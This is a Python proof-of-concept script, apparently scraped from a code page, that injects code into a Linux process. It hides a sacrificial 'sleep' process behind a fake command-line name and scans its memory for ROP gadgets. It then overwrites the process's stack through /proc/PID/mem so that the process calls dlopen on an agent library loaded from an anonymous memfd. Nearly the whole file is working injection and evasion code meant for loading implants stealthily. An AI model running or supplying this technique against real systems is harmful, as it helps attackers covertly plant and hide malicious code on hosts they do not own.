|
#!/usr/bin/env python3 |
|
|
|
# PoC - stack overwrite - Juan Manuel Fernandez (@TheXC3LL) |
|
|
|
|
|
import os |
|
import subprocess |
|
import time |
|
from ctypes import * |
|
|
|
# CHANGE |
|
cloak = b"/this/is/a/PoC" #Change this |
|
env_fd = b"XC3LL" # Env var used to pass the file descriptor |
|
agent = b"/tmp/xc3ll.kab00m" # Encrypted shared object in disk |
|
key = "AdeptsOf0xCC" # Decrypt key |
|
|
|
# Gadgets |
|
nop = b"\x90\xc3" # nop; ret; |
|
jmp_rax = b"\xff\xe0" # jmp rax; |
|
pop_rsi = b"\x5e\xc3" # pop rsi; ret; |
|
pop_rdi = b"\x5f\xc3" # pop rdi; ret; |
|
mov_rax_rsi = b"\x48\x89\xf0\xc3"; # mov rax, rsi; ret; |
|
|
|
|
|
gadget_list = { |
|
"nop" : nop, |
|
"jmp_rax" : jmp_rax, |
|
"pop_rsi" : pop_rsi, |
|
"pop_rdi" : pop_rdi, |
|
"mov_rax_rsi" : mov_rax_rsi |
|
} |
|
|
|
|
|
def getPathFD(): |
|
memfd = CDLL(None).syscall(319, "xc3ll", 1) |
|
path = "/proc/" + str(os.getpid()) + "/fd/" + str(memfd) |
|
file = open(agent, "rb") |
|
data = file.read() |
|
file.close() |
|
os.write(memfd, data) |
|
return bytes(path, 'UTF-8') |
|
|
|
|
|
def spawnSacrifical(fd): |
|
libc = CDLL('libc.so.6') |
|
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) |
|
libc.execve.restype = c_ssize_t |
|
sacrifice = b'/usr/bin/sleep' |
|
args = [cloak, b'10'] |
|
env = [env_fd + fd] |
|
cargs = (c_char_p * (len(args) + 1))(*args,None) |
|
cenv = (c_char_p * (len(env) + 1))(*env,None) |
|
libc.execve(sacrifice, cargs, cenv) |
|
|
|
def findPID(): |
|
for dirname in os.listdir('/proc'): |
|
try: |
|
with open('/proc/' + dirname + "/cmdline", "rb") as file: |
|
data = file.read().decode().split("\x00") |
|
if data[0] == cloak.decode(): |
|
return dirname |
|
except Exception as e: |
|
#print(e) |
|
continue |
|
|
|
def parseInfo(line): |
|
parsed = {} |
|
info = line.split(" ") |
|
parsed['name'] = info[-1] |
|
addresses = info[0].split("-") |
|
parsed['start'] = addresses[0] |
|
parsed['end'] = addresses[1] |
|
parsed['perms'] = info[1] |
|
return parsed |
|
|
|
def parseMaps(pid): |
|
final = {} |
|
binaries = [] |
|
with open('/proc/' + pid + '/maps', "r") as file: |
|
data = file.read().split("\n")[:-1] |
|
for x in data: |
|
if "[stack]" in x: |
|
final["stack"] = parseInfo(x) |
|
elif "r-xp" in x: |
|
binaries.append(parseInfo(x)) |
|
else: |
|
continue |
|
final["bin"] = binaries |
|
return final |
|
|
|
def getSize(mem): |
|
start = "0x" + mem["start"] |
|
end = "0x" + mem["end"] |
|
size = int(end, 16) - int(start, 16) |
|
return size |
|
|
|
def findGadget(gadget, mem, pid): |
|
size = getSize(mem) |
|
start = int("0x" + mem["start"], 16) |
|
with open('/proc/' + pid + '/mem', "rb") as file: |
|
file.seek(start) |
|
data = file.read(size) |
|
offset = data.find(gadget) |
|
if offset != -1: |
|
return offset + start |
|
return offset |
|
|
|
def hijackStack(rop_chain, addr, pid): |
|
with open('/proc/' + pid + '/mem', "wb") as file: |
|
file.seek(addr) |
|
file.write(rop_chain) |
|
|
|
def locateDlopen(target_base): |
|
libc = CDLL('libc.so.6') |
|
dlopen = getattr(libc, 'dlopen') |
|
address = cast(addressof(dlopen), POINTER(c_ulonglong)).contents.value |
|
pid = str(os.getpid()) |
|
maps = parseMaps(pid) |
|
base = '' |
|
for x in maps['bin']: |
|
if 'libc.so.6' in x["name"]: |
|
base = x["start"] |
|
break |
|
offset = address - int(base,16) |
|
final_addr = int(target_base, 16) + offset |
|
return final_addr |
|
|
|
def findNanosleep(pid): |
|
with open("/proc/" + pid + "/syscall") as file: |
|
data = file.read().split(" ") |
|
return int(data[4], 16) + 0x68 |
|
|
|
if __name__ == "__main__": |
|
# Spawn child |
|
print("[*] Forking") |
|
fd = getPathFD() |
|
pid = os.fork() |
|
if pid == 0: |
|
print("[C*] Creating sacrifical sleep") |
|
spawnSacrifical(fd) |
|
else: |
|
time.sleep(1) |
|
target = findPID() |
|
print("[P*] Target PID: " + target) |
|
print("[P*] Parsing memory maps") |
|
maps = parseMaps(target) |
|
print("[P*] Searching for gadgets...") |
|
for gadget in gadget_list.keys(): |
|
check = 0 |
|
print("\t[P*] Finding: " + gadget) |
|
for binary in maps["bin"]: |
|
print("\t\t[P*] Checking: " + binary["name"]) |
|
address = findGadget(gadget_list[gadget], binary, target) |
|
if address != -1: |
|
if gadget == "return_addr": |
|
address = address + 2 |
|
print("\t\t[P*] Found! => " + str(hex(address))) |
|
gadget_list[gadget] = (address).to_bytes(8, byteorder="little") |
|
check = 1 |
|
break |
|
real_ret = findNanosleep(target) |
|
print("[P*] Return address at " + str(hex(real_ret))) |
|
dlopen_addr = '' |
|
for x in maps["bin"]: |
|
if 'libc.so.6' in x["name"]: |
|
dlopen_addr = locateDlopen(x["start"]) |
|
break |
|
print("[P*] Located dlopen() at 0x" + hex(dlopen_addr)) |
|
dlopen_addr = (dlopen_addr).to_bytes(8, byteorder="little") |
|
path = findGadget(env_fd, maps["stack"], target) + len(env_fd) |
|
print("[P*] Found path at " + hex(path)) |
|
path = (path).to_bytes(8, byteorder="little") |
|
rop_chain = gadget_list["pop_rsi"] + dlopen_addr + gadget_list["mov_rax_rsi"] + gadget_list["pop_rsi"] + (2).to_bytes(8, byteorder="little") + gadget_list["pop_rdi"] + path + gadget_list["jmp_rax"] |
|
print("[P*] Overwriting stack with ROP chain") |
|
hijackStack(rop_chain, real_ret, target) |
|
time.sleep(15) |